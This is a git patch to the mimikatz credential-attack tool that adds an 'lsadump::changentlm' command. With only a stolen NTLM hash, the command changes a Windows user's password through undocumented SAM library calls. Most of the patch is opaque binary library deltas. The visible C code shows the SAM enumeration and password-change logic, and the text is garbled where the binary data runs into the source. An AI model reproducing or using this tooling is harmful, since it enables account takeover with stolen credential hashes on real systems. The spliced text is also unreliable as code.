From 9cd6a49e4cb2aaa82ce06404b12cab307de6ca02 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Thu, 8 Jun 2017 00:48:55 +0200 Subject: [PATCH] [new] lsadump::changentlm to *change* user password/hash to another password/hash --- lib/Win32/ntdll.min.lib | Bin 11016 -> 11542 bytes lib/x64/ntdll.min.lib | Bin 10346 -> 10838 bytes mimikatz/modules/kuhl_m_lsadump.c | 131 ++++++++++++++++++++++++++++++ mimikatz/modules/kuhl_m_lsadump.h | 1 + modules/kull_m_samlib.h | 2 + modules/kull_m_string.h | 6 +- 6 files changed, 138 insertions(+), 2 deletions(-) diff --git a/lib/Win32/ntdll.min.lib b/lib/Win32/ntdll.min.lib index 9c82d09f740c97ef9f8bb99bbe4b26e7f1eee770..79c592d5e2dfca03bcd4f3834dd10e44a74379b1 100644 GIT binary patch delta 2243 zcmbuBO-x)>6vzJq48zA`n0CJB&71e;`vcmvScf5{6>Iz`A(dK#S_!g{C<$dMvSLHk z#+bB;wMSVPOS)*9Mh$3Y+nCxkc4G*wYeSnDv^(6mFe!NMyU#aoiaSYuxn$0{=lt(E z=iZr5#+FWBQa$BL`RPNI0rF{~#lHS>#W4RSI{=&lLM0$F0z}UNu{DW$3lPLB5^Wg} z=nIlW2oUI75@P}|;r#}a9J08{E0ek*NiSXm(oCksVvbkArX+g@Fd5^O$!9Ds^UCDP zl0q9`GS4ehye}yY117h5WqSH7R(NG5dJVv2iB~3fU6SIH3equ2fdvVQ;}VVc2@>0q z_%*H!lQ=I?2f1Q{^e{ABTXU^6dtR8EntFNa44rg`n|ZBO-PI(b1s6?weD&tk9(5mS7B+5R zf!=ht*M|Hx7d_tFK|chXO?(tM#=~`{739LhapVIRlhV$s{IZ_ zh`b4F$IohAgGhHE9%vWo_H#Nn-BXivw!M``6PmsKK{`yUaVzdmac4s72uHQXBYdt| z$-dQ|x5J2JtinvjQ;T-`Ueo_G*-qYXR)8-9kETNVy5bELuuB)w>v@IBs&1+LSU+s% z6^0F6M&zrZGeNzrEY1Ss{DVjpzL+ZJqba^fR{igS6%C&D2$K$uyCN zp8~$i3f_8Ue#UwVPtDIw&%Q$kb;Az9a?J+tqr&%Jp=aGuTFy8pLfZLd<99)!hwcz{ zWgE-+QdW-fKK6;R&$2f|7aTsU$jl)Wsciqz8>GLp&KzOlK`_Tf3__ev<_2wrJ}pe& z##a(o>N#;tYx(|!CE@#S1sW1E13~QJ=63-v20t!rQyLet>OzOLw^>J z*;YQMX%T(O(wS1lwpij#t2kkfHcG`OhAO1}`;)^k#E*`h9sV+Ni77e2JMz3E7B#;S S<%A3!?8EH*+cPu!8TUKPGXEnoVKV5Xhp1|Sg3{w5^5<3u~ytjkfur( zS=l-Vvd}K77OXCcFm%yUP(kWKTPv;vNjD{Kq}WXtby5G{ea%d8>A;UObIgx@HfdaAZtoO zKhWGtTh*=G?M?QxtK8)}$bw3G~22FZxhH3H=yE6=e)y2*XHX7al?mBgkVEW7v%p#-YK* z1k%uvK>XTc~ASZEjBIh>!U&J8U4dnY(*9`1AhF0%yS*_ z-(*I6Rqfy8W8IOD(uO?9yxmGPjeepy7CuP+bPpWEj6q(?H z#U1nHl3~X|-<37FYovng0rTnDF=K1;rWra;ntNi0%6P;H9e?` z+OU$sqsh~il+Sl?RDdhO5SNV<*&?TUQ(^>v)yU=!R;8~ft&Jc^SJZOCS|=_ zm&bCQTYY0P6uyz`+!2@OH&DVyRD(n+FVp#s1{4vzl9Tzzqp6j+TT#)!^H2Wg^TUOX z=iIg5OZ^{Hs@Df8Oa3Sh$+yOMl+VjM-2Ds1j!k?~3`JZiE=IwP=%h`Tb_(;~25%8) zGFIN(mf)|7R}TNeNpbqp@@ct!RW)DX!}MpA!so{elBu);_@4aAyt|NGoP*{(RXh4z;1Zz88EkM&!!SZh@d$5eaD%gAIsO7;&s50hVdlHP)>Pd*iS VcTQ83ejl)CdM8Iu@^J(bm9R|&umXm zcG=5vLI~{%aa<76ULuq`Qcj#fLP%T?MB;yla^S$%uez$Mx~jX{-5xX2b9KM>s(w|~ zuU@_PJbAI^ZEpRw@0o)Bd#-q)JXbCi=bqR3&x+Uc#knGXe5;R$)`$k~6CEEUI&qn3 z=u=L^9}orf3tG_VHBRGGM2tqi;xzs--a$`dsDNCwjP7xos1h+MyvS+tI8i_!qGj}e z(^Q>^(ey=5Q{UnpH1m<5-_U}l?{GTVCJN|#w4m9uf<8kFIz1@pJ+zE|=5%I@D4-wE zf@X#|O?-oSf(o}eox)xObQdjX1nXfm_Bp2!%$3ntk<;*D?9<_mjpf%?uC7)$7MIo* zR+m?*S64S&zrMXq8yl7ND_7!T`cEL|((2{)%BvfTm#UYj;xDwC?V9IQTkkk-2mKq( z_J+x=_^)>z@7-nhM$2o~{6@=N@miZsN9o(-qUY7?Z#$d596it$JfX4nZpU|;5d>X1 zF0S}%jvr@-3rG}J{8gvZZ93-cbuLEkcG`|xH`NSw#jiSEv*FhK*nly?s=s}y{&u(H zuXv4Hjcw1y{sy%f1Ax;>sf8ZMo3Y@7z>_* zm92LiueycDx`K{LpuO1or@L9}I2xwvk}O8QrGIp5+vd!o%uvTNaG zF(K=-zP$Ld*NRQT;6roSZTRL?BRrvDSwBTD^%NK@S&+qs@h620lNz8-;UVu!dA^wU~!SDZ*H{KLkN@mR9nh+8v&W9q}${N*E&?;HB=38%|`o1|OR2vvV+0HztAha{E^C zQoYXR7J8mH)Mh41d9QM6ueemZKbG8E4X@=kaqOVvv$I5>fd)?#y$AXkv~`B)2hb37zrmQdG3Mn{M0Y{=Mu!*qsb=@1>Er|2{trapRvj?$y_7n-KWXomXfaXLl=^aKsk5KYl>IzhuULMQ1I zjnWv6V>uI4ph?t&kWw9B=g17s#SFk0YqvoZ`o=wEVq9c;P4vtZ3_&kbYy-Vm@WB|`Jx9=r zM+ZAx4VhvU47^i7!BmoN1I~|obntUW5$KaA8i2ZXy#`mk$;@$O=T67MG=&*aJp0Pv zp2GobiI*l%O23lNvAk%~&$>3cJqgp#eb`B!;n?ZlQ6qAN$x))7Kn{?cz{S!su8$9I z`UWMidI+VGl1E7;!&@l6HOq=cRkBaA|B&Kn_M|g)pCDyMR;2M00@Jv6kv$9_qxe}P z)#Q{ZmITRxBfdxDSyr0phg8S*t++RmQj1TD%9HXJDL4F+E8HKCwVbPm-d5d!X1=_}5aM9uH5zWVzI=~};iYL*824}pWCU+`nSM?X3CT4U2|by_$4!s*pBg)7UISA|?_j^d3?gAofE z*;7CM9t@r&2F%N_?ux7E+HafIUVmp60_-g*r3; zvD5oq_##@Sx5s;%WnYmg+UnPNcePj+n_6K1m0(A+{yy_pNCxqHD3)Kz@ku^qwE6N2 z$w5w;EGtDy3>#uAwS|rfR6b=~b5T?P3dZgt{fDEJm?9jNqvzk- z@SjWu4pM)hNE}Ou+XHTRBn{lBfO~K!T*R)sM=pg|tbsfYhZmTl1~}!rW9Te#_CY6fxlwkQ%3u-oIzr#-OY$vPO+jR>8QPZOZgvD-3OuAg;+*g z?OuIJi!Wl1^%0J!CroNn^IOe@WWUEQ$D;vOEDQUS&>jU^LTc9oTFJ6Dlpj$c zu?O7pbIE&(5+|yX95*Ei?EzT^ZpO((;S>>8fNW&83QRs_JdY*Id1S%u;{wafmL*2+ z)1QWRjHAUe@E*`o{P%!BOZ*S2g3NysEtn{Hqk0{DyJ)GP2c(kaUMv9Vi3pOG>Z&iM zo-$fWnpGa>ct%Y_ElxgV#Y*v=Clr>dlSqJF#B7#xK7oB4QdqWa%x@uH({ia<`93tXMs(2gJ0Pdz>Riiew5% zK4tuVr4-wIQsL~GZI&###1w3ELf|F+S3#~Tw^vC+EJ(z7g|G+2lpJl6BU-ACe-7r9 z#7wGW?jAGEUr%#PqdK~Kth5+yhGS_qs#RPSY;Iqgc0NuD+-NyA_?J^JcqyLdR05u; W4flXpww%bbIFYkf#Av};f&T&inFa9x delta 2035 zcmb`HTWB0*6vzL&*<^FubluC$&d%)a>^+HSw@tH&8ZW^V+7vVt1z%cMv86=B_N@ z{<%LER_u7I-JY15-X+IvV`=xqrq$)G;5TkxZqK00}6L3#ea%rpAAYVO!}#&&wrRJwrai{e*V%e93(Oh7ITJXY12)OQJgael>y#^$cgbP_ zSR)IZce})Ma)D*CK{{pN7O7N$vt)+jQgb;*uGWE816XZf3CSjKhHR3HG`h)Ps|>bA z!+9F6S-=IG0V!LQF&4u+ff&Zni#{|_M;rqfMFag9#1Mv&zzE9NfeMm%04b!Afe9B` z7|6jwm6haS!@=_f6j4G1(f=u+j@Nx>$cc8pNbHYvt2^#QQC`6)df zJOOLZ^rUy)-Ok`E%RM;qp9_gxnY zj|W{psQR_vDNF@_msZhN>?=O<--;_Cg(-h4fzPDJ;omYJpc zyB06W+qKZxct|<|*9r3SODz~dAFbAMd%>0i_32Q2-de5Y8iFI&>cQt>3hUR|Rs98( z{nJ!-TLY&2+3=cFE3wEXXGbi#+z6ilZFCxCQ<8WyScHC4`f6}Ta;@=djM&UFD7P!= zK(X3RM^ScV`K$S8K&wwdYt> Change password is a success!\n"); + else if(status0 == STATUS_WRONG_PASSWORD) + PRINT_ERROR(L"Bad old NTLM hash or password!\n"); + else if(status0 == STATUS_PASSWORD_RESTRICTION) + PRINT_ERROR(L"Bad new NTLM hash or password! (restriction)\n"); + else PRINT_ERROR(L"SamiChangePasswordUser: %08x\n", status0); + SamCloseHandle(hUserHandle); + } + else PRINT_ERROR(L"SamOpenUser: %08x\n", status0); + SamFreeMemory(pRid); + SamFreeMemory(pUse); + } + else PRINT_ERROR(L"SamLookupNamesInDomain: %08x\n", status0); + SamCloseHandle(hDomainHandle); + } + else PRINT_ERROR(L"SamOpenDomain: %08x\n", status0); + SamFreeMemory(domainSid); + } + else PRINT_ERROR(L"SamLookupDomainInSamServer: %08x\n", status0); + } + SamFreeMemory(pEnumDomainBuffer); + } + else PRINT_ERROR(L"SamEnumerateDomainsInSamServer: %08x\n", status1); + } + while(status1 == STATUS_MORE_ENTRIES); + SamCloseHandle(hServerHandle); + } + else PRINT_ERROR(L"SamConnect: %08x\n", status0); + } + } + else PRINT_ERROR(L"Argument /user: is needed\n"); + return STATUS_SUCCESS; } \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_lsadump.h b/mimikatz/modules/kuhl_m_lsadump.h index 54d0c29..8d586ac 100644 --- a/mimikatz/modules/kuhl_m_lsadump.h +++ b/mimikatz/modules/kuhl_m_lsadump.h @@ -86,6 +86,7 @@ NTSTATUS kuhl_m_lsadump_bkey(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_rpdata(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_setntlm(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_lsadump_changentlm(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_netsync(int argc, wchar_t * argv[]); BOOL kuhl_m_lsadump_getSids(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN LPCWSTR littleKey, IN LPCWSTR prefix); diff --git a/modules/kull_m_samlib.h b/modules/kull_m_samlib.h index a1d8d9f..a1786c9 100644 --- a/modules/kull_m_samlib.h +++ b/modules/kull_m_samlib.h @@ -108,6 +108,8 @@ extern NTSTATUS WINAPI SamOpenGroup(IN SAMPR_HANDLE DomainHandle, IN ACCESS_MASK extern NTSTATUS WINAPI SamOpenAlias(IN SAMPR_HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD AliasId, OUT SAMPR_HANDLE * AliasHandle); extern NTSTATUS WINAPI SamQueryInformationUser(IN SAMPR_HANDLE UserHandle, IN USER_INFORMATION_CLASS UserInformationClass, PSAMPR_USER_INFO_BUFFER* Buffer); extern NTSTATUS WINAPI SamSetInformationUser(IN SAMPR_HANDLE UserHandle, IN USER_INFORMATION_CLASS UserInformationClass, PSAMPR_USER_INFO_BUFFER Buffer); +extern NTSTATUS WINAPI SamiChangePasswordUser(IN SAMPR_HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE oldLM[LM_NTLM_HASH_LENGTH], IN const BYTE newLM[LM_NTLM_HASH_LENGTH], IN BOOL isNewNTLM, IN const BYTE oldNTLM[LM_NTLM_HASH_LENGTH], IN const BYTE newNTLM[LM_NTLM_HASH_LENGTH]); + extern NTSTATUS WINAPI SamGetGroupsForUser(IN SAMPR_HANDLE UserHandle, OUT PGROUP_MEMBERSHIP * Groups, OUT DWORD * CountReturned); extern NTSTATUS WINAPI SamGetAliasMembership(IN SAMPR_HANDLE DomainHandle, IN DWORD Count, IN PSID * Sid, OUT DWORD * CountReturned, OUT PDWORD * RelativeIds); diff --git a/modules/kull_m_string.h b/modules/kull_m_string.h index d9be21a..59b8d88 100644 --- a/modules/kull_m_string.h +++ b/modules/kull_m_string.h @@ -34,6 +34,7 @@ extern VOID WINAPI RtlUpperString(OUT PSTRING DestinationString, IN const STRING extern NTSTATUS WINAPI RtlUpcaseUnicodeString(IN OUT PUNICODE_STRING DestinationString, IN PCUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString); extern NTSTATUS WINAPI RtlDowncaseUnicodeString(PUNICODE_STRING DestinationString, IN PCUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString); extern WCHAR WINAPI RtlUpcaseUnicodeChar(IN WCHAR SourceCharacter); +extern NTSTATUS WINAPI RtlUpcaseUnicodeStringToOemString(IN OUT POEM_STRING DestinationString, IN PCUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString); extern BOOLEAN WINAPI RtlEqualString(IN const STRING *String1, IN const STRING *String2, IN BOOLEAN CaseInSensitive); extern BOOLEAN WINAPI RtlEqualUnicodeString(IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2, IN BOOLEAN CaseInSensitive); @@ -41,8 +42,9 @@ extern BOOLEAN WINAPI RtlEqualUnicodeString(IN PCUNICODE_STRING String1, IN PCUN extern LONG WINAPI RtlCompareUnicodeString(IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2, IN BOOLEAN CaseInSensitive); extern LONG WINAPI RtlCompareString(IN const STRING *String1, IN const STRING *String2, IN BOOLEAN CaseInSensitive); -extern VOID WINAPI RtlFreeAnsiString(IN PANSI_STRING AnsiString); -extern VOID WINAPI RtlFreeUnicodeString(IN PUNICODE_STRING UnicodeString); +extern VOID WINAPI RtlFreeAnsiString(IN OUT PANSI_STRING AnsiString); +extern VOID WINAPI RtlFreeUnicodeString(IN OUT PUNICODE_STRING UnicodeString); +extern VOID WINAPI RtlFreeOemString(IN OUT POEM_STRING OemString); extern NTSTATUS WINAPI RtlStringFromGUID(IN LPCGUID Guid, PUNICODE_STRING UnicodeString); extern NTSTATUS WINAPI RtlGUIDFromString(IN PCUNICODE_STRING GuidString, OUT GUID *Guid);